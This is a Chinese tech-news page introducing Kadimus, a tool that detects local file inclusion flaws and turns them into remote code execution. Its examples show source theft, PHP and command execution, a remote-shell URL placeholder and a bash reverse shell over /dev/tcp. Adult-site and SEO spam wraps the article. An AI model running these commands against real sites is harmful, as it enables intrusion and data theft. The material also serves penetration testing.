成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Kadimus:本地文件包含(LFI)漏洞檢測工具

安全 數據安全
Kadimus是一個用于檢測網站本地文件包含(LFI)漏洞的安全工具。它有著怎樣的特性呢,小編下面為您介紹。

Kadimus是一個用于檢測網站本地文件包含(LFI)漏洞的安全工具。

[[131145]]

特性

檢測所有URL參數
/var/log/auth.log RCE
/proc/self/environ RCE
php://input RCE
data://text RCE
源代碼泄露檢測
多線程掃描
HTTP命令執行漏洞
代理支持 (socks4://, socks4a://, socks5:// ,socks5h:// and http://)

編譯

安裝libcurl:

CentOS/Fedora

# yum install libcurl-devel
Debian based
# apt-get install libcurl4-openssl-dev

安裝libpcre:

CentOS/Fedora

# yum install libpcre-devel

 

Debian based

# apt-get install libpcre3-dev

 

安裝libssh:

CentOS/Fedora

# yum install libssh-devel

 

基于Debian

# apt-get install libssh-dev

 

***執行

$ git clone https://github.com/P0cL4bs/Kadimus.git
$ cd Kadimus
$ make

 

選項

-h, --help                    Display this help menu
  Request:
    -B, --cookie STRING         Set custom HTTP Cookie header
    -A, --user-agent STRING     User-Agent to send to server
    --connect-timeout SECONDS   Maximum time allowed for connection
    --retry-times NUMBER        number of times to retry if connection fails
    --proxy STRING              Proxy to connect, syntax: protocol://hostname:port
  Scanner:
    -u, --url STRING            Single URI to scan
    -U, --url-list FILE         File contains URIs to scan
    -o, --output FILE           File to save output results
    --threads NUMBER            Number of threads (2..1000)
  Explotation:
    -t, --target STRING         Vulnerable Target to exploit
    --injec-at STRING           Parameter name to inject exploit
                                (only need with RCE data and source disclosure)
  RCE:
    -X, --rce-technique=TECH    LFI to RCE technique to use
    -C, --code STRING           Custom PHP code to execute, with php brackets
    -c, --cmd STRING            Execute system command on vulnerable target system
    -s, --shell                 Simple command shell interface through HTTP Request
    -r, --reverse-shell         Try spawn a reverse shell connection.
    -l, --listen NUMBER         port to listen
    -b, --bind-shell            Try connect to a bind-shell
    -i, --connect-to STRING     Ip/Hostname to connect
    -p, --port NUMBER           Port number to connect
    --ssh-port NUMBER           Set the SSH Port to try inject command (Default: 22)
    --ssh-target STRING         Set the SSH Host
    RCE Available techniques
      environ                   Try run PHP Code using /proc/self/environ
      input                     Try run PHP Code using php://input
      auth                      Try run PHP Code using /var/log/auth.log
      data                      Try run PHP Code using data://text
    Source Disclosure:
      -G, --get-source          Try get the source files using filter://
      -f, --filename STRING     Set filename to grab source [REQUIRED]
      -O FILE                   Set output file (Default: stdout)

 

測試示例

掃描:

./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -U url_list.txt --threads 10 --connect-timeout 10 --retry-times 0

 

獲取文件源碼:

./kadimus -t localhost/?pg=contact -G -f "index.php" -O local_output.php --inject-at pg

 

執行php代碼:

./kadimus -t localhost/?pg=php://input -C '' -X input

 

命令執行:

./kadimus -t localhost/?pg=/var/log/auth.log -X auth -c 'ls -lah' --ssh-target localhost

 

檢查遠程文件包含(RFI)漏洞:

/* http://bad-url.com/shell.txt */ 

 

反彈shell:

./kadimus -t localhost/?pg=contact.php -Xdata --inject-at pg -r -l 12345 -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1' --retry-times 0

 

責任編輯:守望幸福 來源: FreeBuf.COM
相關推薦

2015-08-17 15:10:11

漏洞檢測安全工具LFI scanner

2015-04-27 15:49:21

2022-01-27 09:16:08

CPU內存.NET

2011-05-11 10:00:57

2015-12-29 14:51:51

漏洞檢測工具IEFuzz

2021-03-29 11:40:17

檢測工具Trivy應用

2017-01-01 09:43:40

2013-01-30 16:07:46

2015-03-13 09:10:29

2021-04-14 08:20:46

Lighthouse工具性能檢測

2010-06-04 10:09:29

Linux 性能檢測

2010-06-04 10:30:15

Linux 性能檢測

2011-01-11 13:58:32

WebLog ExpeWEB服務器流量記錄

2015-09-15 13:41:14

文件系統檢測工具AIDE運維工具

2021-07-01 05:17:52

Windows 11操作系統微軟

2025-02-21 08:10:00

漏洞網絡安全網絡攻擊

2014-04-15 17:03:00

2022-03-25 14:11:11

Java死鎖線程

2015-10-30 14:46:50

2010-06-04 09:59:37

Linux 性能檢測
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲国产一区二区三区四区 | 五月激情婷婷网 | 午夜精品久久久久久久星辰影院 | 中文字幕在线观看一区 | 成人亚洲| 国产精品一卡 | 91香蕉嫩草 | 一区二区三区高清 | 天天干天天色 | 亚洲性视频 | 久久久亚洲精品视频 | 精品99久久久久久 | 欧美日韩在线一区二区 | av天天干| 国产成人精品午夜 | 久久久久国产精品午夜一区 | 成人一区二区在线 | 国产一区二区三区在线 | 精品久久av | 欧美日韩精品久久久免费观看 | 日韩免费一区二区 | 国产成人免费视频 | 中文字幕亚洲区 | 完全免费av在线 | 国产98色在线 | 日韩 | 国产精品久久久久久久午夜片 | 九九热精品视频 | 日韩欧美字幕 | 日本粉嫩一区二区三区视频 | 国产精品高清在线 | 一区二区三区中文字幕 | 91精品在线看 | 欧美精品一区在线 | 国产片侵犯亲女视频播放 | 免费国产视频在线观看 | 国产精品视频观看 | 国产精品久久久久久久久久妇女 | 国产精品久久久久久久久久 | 毛片一级片 | 欧美日韩精品免费 | 欧美日韩久久久久 |